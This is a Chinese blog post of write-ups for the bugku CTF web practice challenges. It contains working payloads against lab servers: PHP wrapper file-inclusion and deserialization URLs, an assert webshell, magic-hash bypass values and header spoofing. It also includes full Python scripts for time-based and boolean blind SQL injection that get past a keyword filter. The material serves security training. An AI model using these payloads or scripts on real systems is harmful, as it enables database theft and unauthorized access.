bugkuCTF-练习平台

web

1.web2
这题查看源代码即可,火狐浏览器f12,查看器。

2.计算器
f12查看器,找到下面这行:

<input type="text" class="input" maxlength="1">

将maxlength改成位数比结果的的数,就可以输入了。

3.web基础$_GET
这个确实是基础,在get请求时,传入参数形式是在url后面加 ?参数=值。多个参数用 ?参数1=值1&参数2=值1……
在url后加上?what=flag即可。建议下载hackbar插件。

4.web基础$_POST
POST请求没办法写在url里,需要用hackbar。
在这里插入图片描述5.矛盾
这个要求不是数字且为1,有点矛盾是不是?其实有绕过的办法。下面num==1的判定是两个等号,这是弱类型比较,如果等号两边类型不同,会转换成相同类型再比较。与之对应的是强类型比较,用的是三个等号===,如果类型不同就直接不相等了。在弱类型比较下,当一个字符串与数字比较时,会把字符串转换成数字,具体是保留字母前的数字。例如123ab7c会转成123,ab7c会转成0.(字母前没数字就是0)
在这里插入图片描述6.web3
直接查看网页源代码,找到下面这一行:然后用HTML解码即可

<!--&#75;&#69;&#89;&#123;&#74;&#50;&#115;&#97;&#52;&#50;&#97;&#104;&#74;&#75;&#45;&#72;&#83;&#49;&#49;&#73;&#73;&#73;&#125;-->

然后HTML解码即可。

7.域名解析
域名解析是指把一个域名指向一个ip。
用ip访问,抓包,把host字段直接改成域名。
在这里插入图片描述8.你必须让他停下
正常在浏览器里是没办法停的,但是可以在burp里达到单步执行的效果。
抓包后发到repeater,每点一次Go就会刷新,等到右边相应<img src="10.jpg"时就可以显示flag了,多刷新几次就好了。
在这里插入图片描述
9.本地包含

10.变量1
分析代码可以发现是php变量覆盖漏洞,构造payload。
http://123.206.87.240:8004/index1.php?args=GLOBALS
在这里插入图片描述
11.web5
不知道submit什么,先查看源代码发现有一段JS编码,直接放到控制台就得到了flag。
在这里插入图片描述
12.头等舱
里面什么都没有,先抓个包看有没有有用信息,结果服务器的响应报文头部包含flag。
在这里插入图片描述
13.网站被黑
根据提示网站存在漏洞,利用御剑扫描工具进行扫描。
在这里插入图片描述进入shell.php网页中,发现需要密码验证,利用burpsuite进行爆破
爆破对象。
在这里插入图片描述在这里插入图片描述输入pass: hack

14.管理员系统
F12查看源码发现一个特殊的字符串 进行base64解密之后得到test123。
利用用户名admin尝试登陆,发现未果,页面还是提示IP已被记录,抓包进行伪造IP,在HTTP请求中添加请求头X-Forwarded-For: 127.0.0.1。
在这里插入图片描述
15.web4
查看源代码

<html>
<title>BKCTF-WEB4</title>
<body>
<div style="display:none;"></div>
<form action="index.php" method="post" >
看看源代码?<br>
<br>
<script>
var p1 = '%66%75%6e%63%74%69%6f%6e%20%63%68%65%63%6b%53%75%62%6d%69%74%28%29%7b%76%61%72%20%61%3d%64%6f%63%75%6d%65%6e%74%2e%67%65%74%45%6c%65%6d%65%6e%74%42%79%49%64%28%22%70%61%73%73%77%6f%72%64%22%29%3b%69%66%28%22%75%6e%64%65%66%69%6e%65%64%22%21%3d%74%79%70%65%6f%66%20%61%29%7b%69%66%28%22%36%37%64%37%30%39%62%32%62';
var p2 = '%61%61%36%34%38%63%66%36%65%38%37%61%37%31%31%34%66%31%22%3d%3d%61%2e%76%61%6c%75%65%29%72%65%74%75%72%6e%21%30%3b%61%6c%65%72%74%28%22%45%72%72%6f%72%22%29%3b%61%2e%66%6f%63%75%73%28%29%3b%72%65%74%75%72%6e%21%31%7d%7d%64%6f%63%75%6d%65%6e%74%2e%67%65%74%45%6c%65%6d%65%6e%74%42%79%49%64%28%22%6c%65%76%65%6c%51%75%65%73%74%22%29%2e%6f%6e%73%75%62%6d%69%74%3d%63%68%65%63%6b%53%75%62%6d%69%74%3b';
eval(unescape(p1) + unescape('%35%34%61%61%32' + p2));
</script>

<input type="input" name="flag" id="flag" /> 
<input type="submit" name="submit" value="Submit" />
</form>
</body>
</html>

将p1和p2,“%35%34%61%61%32”进行URL解码或者十六进制转换ASCII(不过需要先去除%)
按照eval()函数进行组合,得到一个function函数

function checkSubmit(){
    var a=document.getElementById("password");
    if("undefined"!=typeof a){
        if("67d709b2b54aa2aa648cf6e87a7114f1"==a.value)
            return!0;
        alert("Error");
        a.focus();
        return!1
    }
}
document.getElementById("levelQuest").onsubmit=checkSubmit;

get请求上传password=67d709b2b54aa2aa648cf6e87a7114f1即可得到flag。

16.flag在index里
根据题目提示:flag在index里。
尝试payload:?file=php://filter/convert.base64-encode/resource=index.php
获取index.php经过base64加密的源码,对其进行解密:
在这里插入图片描述
17.输入密码查看flag
bp进行爆破。

18.点击一百万次
查看源码,分析

<?php
/**
 * Created by PhpStorm.
 * User: Norse
 * Date: 2017/8/6
 * Time: 20:22
*/

include_once "flag.php";
ini_set("display_errors", 0);
$str = strstr($_SERVER['REQUEST_URI'], '?');
$str = substr($str,1);
$str = str_replace('key','',$str);
parse_str($str);
echo md5($key1);

echo md5($key2);
if(md5($key1) == md5($key2) && $key1 !== $key2){
    echo $flag."鍙栧緱flag";
}
?>

分析上面代码
首先,获取完整的url,并且strstr将url中“?”及其之后的内容赋值给str 其次,substr函数将str中第二个字符(下标为1)及其以后的内容赋值给str 再次,str_replace函数将str中的子字符串替换为’’,也就是删除str中的内容为key的子串 然后,parse_str() 函数把查询字符串解析到变量中 最后,根据md5(key1) == md5(key2) &&key1 !== $key2可以联想到md5绕过。

根据以上分析,构造请求参数
http://120.24.86.145:8002/web16/index.php?kkeyey1=QNKCDZO&kkeyey2=s878926199a

20.成绩单
可以看出应该为sql联合注入,利用sqlmap进行测试。
测试代码
在这里插入图片描述测试结果,存在SQL注入漏洞,爆出来了数据库
在这里插入图片描述报表
在这里插入图片描述在这里插入图片描述爆字段
在这里插入图片描述在这里插入图片描述爆特定字段值
在这里插入图片描述在这里插入图片描述
21.秋名山老司机
编写Python脚本。

import requests
import re
url = 'http://123.206.87.240:8002/qiumingshan/'
R = requests.session()
g = R.get(url)
page = re.findall(r'<div>(.*)=\?;</div>', g.text)[0]
result = eval(page)
data = {'value': result}
flag = R.post(url, data=data)
print(flag.text)

脚本的运行需要超过两次,才能够得到flag。

22.速度要快
查看页面源代码
在这里插入图片描述根据提示需要POST传递一个margin,但是不知道margin的值是什么,于是抓取一个数据包进行查看。
在这里插入图片描述发现响应报文里面出现flag,先将其base64解码查看。
在这里插入图片描述通过提交该值,发现并不是(肯定不会这么简单。。。。),根据源码里面的提示margin的值为你发现的东西,猜想margin的值就是flag,当我再次向服务器发出请求时发现flag的值在变化。

现在只有编写脚本 #一定要保证整个操作是在一个session中不然每一次的请求flag的值都不一样。

import requests
import base64

url = 'http://123.206.87.240:8002/web6/'
#使用同一个会话
r = requests.session()
#get方式无参请求
get_response = r.get(url)
#bytes.decode("value")方法将byte类型的数据转换成str类型的数据
key = base64.b64decode(bytes.decode(base64.b64decode(get_response.headers['flag'])).split(":")[1])
#post:flag
post = {'margin': key}
post_responese = r.post(url, data=post)
#获取页面内容,使用"value".decode()方法将byte类型的数据转换成str类型的数据,两种引用方式不一样,但效果一样
print(post_responese.content.decode())

运行结果
在这里插入图片描述

23.coolies欺骗
在这里插入图片描述filename为base64编码,由此读取index.php文件,但是有行数的限制,编写脚本读取index.php文件。

import requests
a=50
for i in range(a):
    url="http://123.206.87.240:8002/web11/index.php?line="+str(i)+"&filename=aW5kZXgucGhw"
    s=requests.get(url)
    print (s.text)

Result

<?php

error_reporting(0);

$file=base64_decode(isset($_GET['filename'])?$_GET['filename']:"");

$line=isset($_GET['line'])?intval($_GET['line']):0;

if($file=='') header("location:index.php?line=&filename=a2V5cy50eHQ=");

$file_list = array(

'0' =>'keys.txt',

'1' =>'index.php',

);

 

if(isset($_COOKIE['margin']) && $_COOKIE['margin']=='margin'){

$file_list[2]='keys.php';

}

 

if(in_array($file, $file_list)){

$fa = file($file);

echo $fa[$line];

}

?>

代码审计可知需要构造:

1、cookie:$_COOKIE[‘margin’]==‘margin’

2、filename=a2V5cy5waHA=
在这里插入图片描述右键查看源码读取flag
在这里插入图片描述
24.never give up
查看源码,发现存在 “1p.html” 尝试去访http://123.206.87.240:8006/test/1p.html,却跳转到了其它页面,应该是重定向所致,查看1p.html网页源码。
发现时bugku主页
查看一下源码.
在这里插入图片描述url解码得到:

<script>window.location.href='http://www.bugku.com';</script>
<!--JTIyJTNCaWYlMjglMjElMjRfR0VUJTVCJTI3aWQlMjclNUQlMjklMEElN0IlMEElMDloZWFkZXIlMjglMjdMb2NhdGlvbiUzQSUyMGhlbGxvLnBocCUzRmlkJTNEMSUyNyUyOSUzQiUwQSUwOWV4aXQlMjglMjklM0IlMEElN0QlMEElMjRpZCUzRCUyNF9HRVQlNUIlMjdpZCUyNyU1RCUzQiUwQSUyNGElM0QlMjRfR0VUJTVCJTI3YSUyNyU1RCUzQiUwQSUyNGIlM0QlMjRfR0VUJTVCJTI3YiUyNyU1RCUzQiUwQWlmJTI4c3RyaXBvcyUyOCUyNGElMkMlMjcuJTI3JTI5JTI5JTBBJTdCJTBBJTA5ZWNobyUyMCUyN25vJTIwbm8lMjBubyUyMG5vJTIwbm8lMjBubyUyMG5vJTI3JTNCJTBBJTA5cmV0dXJuJTIwJTNCJTBBJTdEJTBBJTI0ZGF0YSUyMCUzRCUyMEBmaWxlX2dldF9jb250ZW50cyUyOCUyNGElMkMlMjdyJTI3JTI5JTNCJTBBaWYlMjglMjRkYXRhJTNEJTNEJTIyYnVna3UlMjBpcyUyMGElMjBuaWNlJTIwcGxhdGVmb3JtJTIxJTIyJTIwYW5kJTIwJTI0aWQlM0QlM0QwJTIwYW5kJTIwc3RybGVuJTI4JTI0YiUyOSUzRTUlMjBhbmQlMjBlcmVnaSUyOCUyMjExMSUyMi5zdWJzdHIlMjglMjRiJTJDMCUyQzElMjklMkMlMjIxMTE0JTIyJTI5JTIwYW5kJTIwc3Vic3RyJTI4JTI0YiUyQzAlMkMxJTI5JTIxJTNENCUyOSUwQSU3QiUwQSUwOXJlcXVpcmUlMjglMjJmNGwyYTNnLnR4dCUyMiUyOSUzQiUwQSU3RCUwQWVsc2UlMEElN0IlMEElMDlwcmludCUyMCUyMm5ldmVyJTIwbmV2ZXIlMjBuZXZlciUyMGdpdmUlMjB1cCUyMCUyMSUyMSUyMSUyMiUzQiUwQSU3RCUwQSUwQSUwQSUzRiUzRQ==-->

base64解码

在这里插入图片描述又是一层url~
继续解密
发现是这样的一段代码

";if(!$_GET['id'])
{
    header('Location: hello.php?id=1');
    exit();
}
$id=$_GET['id'];
$a=$_GET['a'];
$b=$_GET['b'];
if(stripos($a,'.'))
{
    echo 'no no no no no no no';
    return ;
}
$data = @file_get_contents($a,'r');
if($data=="bugku is a nice plateform!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)
{
    require("f4l2a3g.txt");
}
else
{
    print "never never never give up !!!";
}


?>

代码审计发现需要满足:

  1. if(!GET[′id′])条件为假同时id==0
  2. $data==“bugku is a nice plateform!” //利用php伪协议赋值
  3. strlen(b)>5anderegi(“111”.substr(b,0,1),“1114”) and
    substr(b,0,1)!=4

构造payload:

http://123.206.87.240:8006/test/hello.php?id=aaa&a=data://,bugku%20is%20a%20nice%20plateform!&b=%00999999

25.welcome to bugkuctf

you are not the number of bugku !   
  
<!--  
$user = $_GET["txt"];  
$file = $_GET["file"];  
$pass = $_GET["password"];  
  
if(isset($user)&&(file_get_contents($user,'r')==="welcome to the bugkuctf")){  
    echo "hello admin!<br>";  
    include($file); //hint.php  
}else{  
    echo "you are not admin ! ";  
}  
 -->

代码审计发现需要满足一个条件:1. user的值必须等于"welcome to the bugkuctf"

根据提示 ”include($file); //hint.php ” 构造初步payload

payload1:

http://123.206.87.240:8006/test1/?txt=data://,welcome%20to%20the%20bugkuctf&file=php://filter/convert.base64-encode/resource=hint.php

读取hint.php文件:

PD9waHAgIA0KICANCmNsYXNzIEZsYWd7Ly9mbGFnLnBocCAgDQogICAgcHVibGljICRmaWxlOyAgDQogICAgcHVibGljIGZ1bmN0aW9uIF9fdG9zdHJpbmcoKXsgIA0KICAgICAgICBpZihpc3NldCgkdGhpcy0+ZmlsZSkpeyAgDQogICAgICAgICAgICBlY2hvIGZpbGVfZ2V0X2NvbnRlbnRzKCR0aGlzLT5maWxlKTsgDQoJCQllY2hvICI8YnI+IjsNCgkJcmV0dXJuICgiZ29vZCIpOw0KICAgICAgICB9ICANCiAgICB9ICANCn0gIA0KPz4gIA==

将获取到的base64代码进行解密,获取hint.php文件源码

<?php  
  
class Flag{//flag.php  
    public $file;  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("good");
        }  
    }  
}  
?>

payload2:

http://123.206.87.240:8006/test1/?txt=data://,welcome%20to%20the%20bugkuctf&file=php://filter/convert.base64-encode/resource=index.php

读取index.php文件

PD9waHAgIA0KJHR4dCA9ICRfR0VUWyJ0eHQiXTsgIA0KJGZpbGUgPSAkX0dFVFsiZmlsZSJdOyAgDQokcGFzc3dvcmQgPSAkX0dFVFsicGFzc3dvcmQiXTsgIA0KICANCmlmKGlzc2V0KCR0eHQpJiYoZmlsZV9nZXRfY29udGVudHMoJHR4dCwncicpPT09IndlbGNvbWUgdG8gdGhlIGJ1Z2t1Y3RmIikpeyAgDQogICAgZWNobyAiaGVsbG8gZnJpZW5kITxicj4iOyAgDQogICAgaWYocHJlZ19tYXRjaCgiL2ZsYWcvIiwkZmlsZSkpeyANCgkJZWNobyAi5LiN6IO9546w5Zyo5bCx57uZ5L2gZmxhZ+WTpiI7DQogICAgICAgIGV4aXQoKTsgIA0KICAgIH1lbHNleyAgDQogICAgICAgIGluY2x1ZGUoJGZpbGUpOyAgIA0KICAgICAgICAkcGFzc3dvcmQgPSB1bnNlcmlhbGl6ZSgkcGFzc3dvcmQpOyAgDQogICAgICAgIGVjaG8gJHBhc3N3b3JkOyAgDQogICAgfSAgDQp9ZWxzZXsgIA0KICAgIGVjaG8gInlvdSBhcmUgbm90IHRoZSBudW1iZXIgb2YgYnVna3UgISAiOyAgDQp9ICANCiAgDQo/PiAgDQogIA0KPCEtLSAgDQokdXNlciA9ICRfR0VUWyJ0eHQiXTsgIA0KJGZpbGUgPSAkX0dFVFsiZmlsZSJdOyAgDQokcGFzcyA9ICRfR0VUWyJwYXNzd29yZCJdOyAgDQogIA0KaWYoaXNzZXQoJHVzZXIpJiYoZmlsZV9nZXRfY29udGVudHMoJHVzZXIsJ3InKT09PSJ3ZWxjb21lIHRvIHRoZSBidWdrdWN0ZiIpKXsgIA0KICAgIGVjaG8gImhlbGxvIGFkbWluITxicj4iOyAgDQogICAgaW5jbHVkZSgkZmlsZSk7IC8vaGludC5waHAgIA0KfWVsc2V7ICANCiAgICBlY2hvICJ5b3UgYXJlIG5vdCBhZG1pbiAhICI7ICANCn0gIA0KIC0tPiAg 

将获取到的base64代码进行解密,获取index.php文件源码

<?php  
$txt = $_GET["txt"];  
$file = $_GET["file"];  
$password = $_GET["password"];  
  
if(isset($txt)&&(file_get_contents($txt,'r')==="welcome to the bugkuctf")){  
    echo "hello friend!<br>";  
    if(preg_match("/flag/",$file)){ 
        echo "不能现在就给你flag哦";
        exit();  
    }else{  
        include($file);   
        $password = unserialize($password);  
        echo $password;  
    }  
}else{  
    echo "you are not the number of bugku ! ";  
}  
  
?>  
  
<!--  
$user = $_GET["txt"];  
$file = $_GET["file"];  
$pass = $_GET["password"];  
  
if(isset($user)&&(file_get_contents($user,'r')==="welcome to the bugkuctf")){  
    echo "hello admin!<br>";  
    include($file); //hint.php  
}else{  
    echo "you are not admin ! ";  
}  
 -->

分析代码可知:

  1. file的值不能包含flag字符串

  2. user的值必须等于"welcome to the bugkuctf"

  3. password 的值必须是经过序列化的字符串

php反序列化漏洞:
当一个对象被当作字符串使用时会自动调用魔法函数 “__toString()”
利用php反序列化漏洞进行构造最终payload

http://123.206.87.240:8006/test1/?txt=data://,welcome%20to%20the%20bugkuctf&file=hint.php&password=O:4:%22Flag%22:1:{s:4:%22file%22;s:8:%22flag.php%22;}

查看源码

hello friend!<br>  <?php
//flag{php_is_the_best_language}  1
?><br>good  
  
<!--  
$user = $_GET["txt"];  
$file = $_GET["file"];  
$pass = $_GET["password"];  
  
if(isset($user)&&(file_get_contents($user,'r')==="welcome to the bugkuctf")){  
    echo "hello admin!<br>";  
    include($file); //hint.php  
}else{  
    echo "you are not admin ! ";  
}  
 -->

get flag。

26.过狗一句话
源码

<?php 
$poc = "a#s#s#e#r#t";
$poc_1 = explode("#", $poc);
$poc_2 = $poc_1[0] . $poc_1[1] . $poc_1[2] . $poc_1[3] . $poc_1[4] . $poc_1[5];
$poc_2($_GET['s'])
?>

代码审计,源码相当于:assert() 执行字符串s
payload1:读取当前目录下的文件

http://123.206.87.240:8010/?s=print_r(scandir(%27./%27))

发现存在特殊文件:

访问:http://123.206.87.240:8010/f14g.txt 读取到flag信息

get flag。

27. 字符?正则?
源码

 <?php 
highlight_file('2.php');
$key='KEY{********************************}';
$IM= preg_match("/key.*key.{4,7}key:\/.\/(.*key)[a-z][[:punct:]]/i", trim($_GET["id"]), $match);
if( $IM ){ 
  die('key is: '.$key);
}
?> 

正则分析

"key":表达式字符串”key“直接匹配

".":匹配除“\n”之外的任何单个字符。要匹配包括“\n”在内的任何字符,请使用像“[\s\S]”的模式

"*":匹配前面的子表达式零次或多次。例如,zo*能匹配“z”以及“zoo”。*等价于{0,}

"\/":代表“/”

[a-z]:代表a-z中的任意一个字符

[[:punct:]]:匹配其中一个字符: !"#$%&'()*+,-./:;<=>?@[\]^_`{|}~

/i:忽略大小写

{4-7}:{n,m},m和n均为非负整数,其中n<=m。最少匹配n次且最多匹配m次

"/":将下一个字符标记为一个特殊字符、或一个原义字符、或一个向后引用、或一个八进制转义符。例如,“\n”匹配字符“n”。“\\n”匹配一个换行符。序列“\\”匹配“\”而“\(”则匹配“(”

构造payload

http://123.206.87.240:8002/web10/?id=key999key9999key:/9/999keyy^

在这里插入图片描述
28. 前女友(SKCTF)

29.login1(SKCTF)

30.你从哪里来
根据页面提示,构造HTTP请求头,添加Referer字段:Referer: https://www.google.com

抓包构造
在这里插入图片描述
31.md5 collision(NUPT_CTF)
根据提示传入参数a,但是显示false,有题目可猜测MD5碰撞,尝试构造payload
在这里插入图片描述MD5碰撞列表

QNKCDZO
0e830400451993494058024219903391

s878926199a
0e545993274517709034328855841020
  
s155964671a
0e342768416822451524974117254469
  
s214587387a
0e848240448830537924465865611904
  
s214587387a
0e848240448830537924465865611904
  
s878926199a
0e545993274517709034328855841020
  
s1091221200a
0e940624217856561557816327384675
  
s1885207154a
0e509367213418206700842008763514

32. 程序员本地网站
根据提示从本地访问,在HTTP请求头里面加上字段 X-Forwarded-For: 127.0.0.1 或者 Client-Ip: 127.0.0.1
在这里插入图片描述
33. 各种绕过
代码:

<?php 
highlight_file('flag.php'); 
$_GET['id'] = urldecode($_GET['id']); 
$flag = 'flag{xxxxxxxxxxxxxxxxxx}'; 
if (isset($_GET['uname']) and isset($_POST['passwd'])) { 
    if ($_GET['uname'] == $_POST['passwd']) 

        print 'passwd can not be uname.'; 

    else if (sha1($_GET['uname']) === sha1($_POST['passwd'])&($_GET['id']=='margin')) 

        die('Flag: '.$flag); 

    else 

        print 'sorry!'; 

} 
?>

代码审计需要满足:

  1. GET[′uname′]!=_POST[‘passwd’]

  2. sha1(GET[′uname′])===sha1(_POST[‘passwd’]) //利用数组绕过

  3. $_GET[‘id’]==‘margin’)

利用sha1()不能处理数组进行构造payload

http://123.206.87.240:8002/web7/?uname[]=999&id=margin

POST:passwd[]=6666

34. web8
页面源码

 <?php
extract($_GET);
if (!empty($ac))
{
$f = trim(file_get_contents($fn));
if ($ac === $f)
{
echo "<p>This is flag:" ." $flag</p>";
}
else
{
echo "<p>sorry!</p>";
}
}
?>

代码审计发现需要满足两个条件:

  1. ac不能为空

  2. ac===f

利用php伪协议:php://input 构造payload

http://123.206.87.240:8002/web8/?ac=123&fn=php://input

POST123

35. 细心

36.求getshell
根据提示需要上传php马,经过测试需要满足一下几个条件

1、文件名filename=*.php5

2、文件类型Content-Type: image/jpeg

3、数据包类型Content-Type: multipart/form-datA #大小写绕过
在这里插入图片描述

37.INSERT INTO注入
代码:

error_reporting(0);

function getIp(){
$ip = '';
if(isset($_SERVER['HTTP_X_FORWARDED_FOR'])){
$ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
}else{
$ip = $_SERVER['REMOTE_ADDR'];
}
$ip_arr = explode(',', $ip);
return $ip_arr[0];

}

$host="localhost";
$user="";
$pass="";
$db="";

$connect = mysql_connect($host, $user, $pass) or die("Unable to connect");

mysql_select_db($db) or die("Unable to select database");

$ip = getIp();
echo 'your ip is :'.$ip;
$sql="insert into client_ip (ip) values ('$ip')";
mysql_query($sql);

分析是HTTP头部注入

  1. 代码0报错:error_reporting(0) 所以不考虑报错注入

  2. 代码只有IP回显所以不考虑Boolean注入

  3. 注入归于时间注入

payload:

#-*- encoding: utf-8 -*-
import requests

str_value="0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ,_!@#$%^&*."
url="http://123.206.87.240:8002/web15/"
flag=""

#爆表名长度:14
#data = 11'  and (case when (length((select group_concat(table_name) from information_schema.tables where table_name=database()))=14) then sleep(4) else 1 end)) #
#爆表名值:client_ip,flag
#data = "11'and (case when (substr((select group_concat(table_name) from information_schema.tables where table_schema=database() ) from " + str(i) + " for 1 )='" + str1 + "') then sleep(4) else 1 end )) #"

#爆字段长度:4
#data = 11'  and (case when (length((select group_concat(column_name) from information_schema.columns where table_name='flag'))=4) then sleep(4) else 1 end)) #
#爆字段值:flag
#data = "11' and (case when (substr((select group_concat(column_name) from information_schema.columns where table_name='flag') from " + str(i) + " for 1 )='" + str1 + "') then sleep(4) else 1 end )) #"

#爆字段内容长度:32
#data = 11'  and (case when (length((select group_concat(flag) from flag))=32) then sleep(4) else 1 end)) #
#爆字段内容:xxxxxxxxxxxxxxxxxxxxxxxx
#data = "11' and (case when (substr((select group_concat(flag) from flag) from " + str(i) + " for 1 )='" + str1 + "') then sleep(4) else 1 end )) #"

for i in range(1,33):
    for str1 in str_value:
        data = "11' and (case when (substr((select group_concat(flag) from flag) from " + str(i) + " for 1 )='" + str1 + "') then sleep(5) else 0 end )) #"
        headers = {"x-forwarded-for":data}
        try:
            result = requests.get(url,headers=headers,timeout=4)
        except:
            flag += str1
            print("flag:"+flag)
            break
print('End_Flag:' + flag)

get flag.

38. 这是一个神奇的登陆框

39.多次
测试发现可能存在注入
在这里插入图片描述通过fuzz测试查看过滤了那些关键字

payload1

# 123.206.87.240:9004/1ndex.php?id=1' anandd length("sselectelect") --+ true
# 123.206.87.240:9004/1ndex.php?id=1' anandd length("select") --+ false

在这里插入图片描述在这里插入图片描述在知道过滤了那些关键字之后,继续测试发现存在布尔盲注

payload2


http://123.206.87.240:9004/1ndex.php?id=1%27%20anandd%201=1--+

http://123.206.87.240:9004/1ndex.php?id=1%27%20anandd%201=2--+

在这里插入图片描述在这里插入图片描述在已知存在布尔盲注的基础上编写 POC1

import requests

url = "http://123.206.87.240:9004/1ndex.php?id=1' anandd (ascii(substr((selselectect database()),{_},1))>{__}) --+"
#url = "http://123.206.87.240:9004/1ndex.php?id=1' anandd (seselectlect ascii(substr((selselectect group_concat(table_name separatoorr ':') from infoorrmation_schema.tables where table_schema=database()),{_},1))>{__}) --+"
#url = "http://123.206.87.240:9004/1ndex.php?id=1' anandd (seselectlect ascii(substr((seselectlect group_concat(column_name separatoorr ':') from infoorrmation_schema.columns where table_name='flag1' anandd table_schema=database()),{_},1))>{__}) --+"
#url = "http://123.206.87.240:9004/1ndex.php?id=1' anandd (selselectect ascii(substr((selselectect group_concat(flag1,':',address separatoorr '?') from flag1),{_},1))>{__}) --+"


data = ''

for  i  in range(1,100):
    min = 33
    max = 126
    while min<=max:
        mid = (max + min)//2
        payload = url.format(_=i,__ = mid)
        r = requests.get(payload)
        if 'There is nothing.' in r.text:
            min = mid+1
        else:
            max = mid-1

    data += chr(min)
    print(data)
print("done")

PS:此处的Waf可用双写关键字绕过

Run 数据库:
在这里插入图片描述Run 表:
在这里插入图片描述Run 字段:
在这里插入图片描述Run 字段 Value:
在这里插入图片描述根据提示表flag1的flag1字段内容肯定不是真的flag,在表flag1的address字段中发现新的Hint

尝试访问./Once_More.php
在这里插入图片描述手动测试又一次发现存在布尔盲注

payload3

http://123.206.87.240:9004/Once_More.php?id=1%27%20and%201=1--+

http://123.206.87.240:9004/Once_More.php?id=1%27%20and%201=2--+

在这里插入图片描述在这里插入图片描述手动测试发现过滤了union、substr

测试过程的记录
在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在上面的基础上编写新的POC2

import requests

#url = "http://123.206.87.240:9004/Once_More.php?id=1' and (ascii(mid((select database()),{_},1))>{__}) --+"
#url = "http://123.206.87.240:9004/Once_More.php?id=1' and (select ascii(mid((select group_concat(table_name separator ':') from information_schema.tables where table_schema=database()),{_},1))>{__}) --+"
#url = "http://123.206.87.240:9004/Once_More.php?id=1' and (select ascii(mid((select group_concat(column_name separator ':') from information_schema.columns where table_name='flag2' and table_schema=database()),{_},1))>{__}) --+"
url = "http://123.206.87.240:9004/Once_More.php?id=1' and (select ascii(mid((select group_concat(flag2,':',address separator '?') from flag2),{_},1))>{__}) --+"


data = ''

for  i  in range(1,100):
    min = 33
    max = 126
    while min<=max:
        mid = (max + min)//2
        payload = url.format(_=i,__ = mid)
        r = requests.get(payload)
        if 'Hello,I Am Here!' in r.text:
            min = mid+1
        else:
            max = mid-1

    data += chr(min)
    print(data)
print("done")

PS:substr使用mid替换

Run 数据库:
在这里插入图片描述Run 表:
在这里插入图片描述Run 字段:
在这里插入图片描述Run 字段 Value:
在这里插入图片描述
40.PHP_encrypt_1(ISCCCTF)

41.文件包含

42.flag.php
点击login确实没反应,根据提示:hint 可能是一个变量,尝试访问 http://123.206.87.240:8002/flagphp/?hint= 得到网页源码正常信息

<?php
error_reporting(0);
include_once("flag.php");
$cookie = $_COOKIE['ISecer'];
if(isset($_GET['hint'])){
    show_source(__FILE__);
}
elseif (unserialize($cookie) === "$KEY")
{   
    echo "$flag";
}
else {
?>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>Login</title>
<link rel="stylesheet" href="admin.css" type="text/css">
</head>
<body>
<br>
<div class="container" align="center">
  <form method="POST" action="#">
    <p><input name="user" type="text" placeholder="Username"></p>
    <p><input name="password" type="password" placeholder="Password"></p>
    <p><input value="Login" type="button"/></p>
  </form>
</div>
</body>
</html>

<?php
}
$KEY='ISecer:www.isecer.com';
?>

代码审计发现需要满足:

  1. cookie=_COOKIE[‘ISecer’]的值必须是经过序列化之后的值

  2. unserialize(cookie)=“KEY” //此处的$keynull

利用BurpSuite抓包在http请求头部添加cookie字段:ISecer=s:0:"";
在这里插入图片描述
43.sql注入2
1 这道题也属于典型的DS_Store源码泄露,当然还有其他类型(常见web源码泄露总结)

2.DS_Store下载地址:https://github.com/lijiejie/ds_store_exp

3.直接用脚本跑:python2 ds_store_exp.py http://123.206.87.240:8007/we b2/.DS_Store
在这里插入图片描述44.孙XX的博客
点开blog,浏览全部的博客,然后看到了这
在这里插入图片描述
点开看看如下图
在这里插入图片描述
网页里面有用的东西
这两个东西很容易就能联想到时用户名密码,可是这里应该是哪里的用户名密码,

尝试访问phpmyadmin,没想到成功访问了,然后把上面这两个东西分别作为用户名密码输进去,然后就可以成功登入了,然后
在这里插入图片描述数据库的东西

直接点击它,然后查看里面的东西直接就得到了flag。

45.Trim的日记本
直接扫目录,show.php就能看到(不过一般情况下线上比赛是不允许扫目录的)
在这里插入图片描述
46.login2(SKCTF)

47.login3(SKCTF)

48.文件上传2

49.江湖魔头
去掉wulin.php后面的参数,可以看到以下页面
在这里插入图片描述查看源码:
在这里插入图片描述三个.js文件

打开第一个.js
在这里插入图片描述格式化一波
在这里插入图片描述尝试在浏览器控制台执行此函数,弹出经过md5加密的字符串
在这里插入图片描述解码…
在这里插入图片描述最后解出来的cookie值中,大致流程:解cookie–>修改"money"–>封装–>设置cookie值–>有钱人–>去商店–>学技能–>打怪…
在这里插入图片描述修改之后的数据经过几轮加密之后已经跟最开始的样子很不一样了,这是不太正常的。问题就出在了中间的encode_create函数中的base64加解码上。

查看另外一个外部链接js文件base64.js。
在这里插入图片描述解码中有一行被注释掉了,这个时候我们只要想办法让加密过程中对应的input = _utf8_encode(input);这一行不生效或不执行。
通过document.cookie进行设置,然后去商店学技能,最后去找老魔决战:
在这里插入图片描述在这里插入图片描述

50.login4

参考资料:

https://www.cnblogs.com/qftm/p/10388710.html
https://www.cnblogs.com/loo5mity/p/10222222.html
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值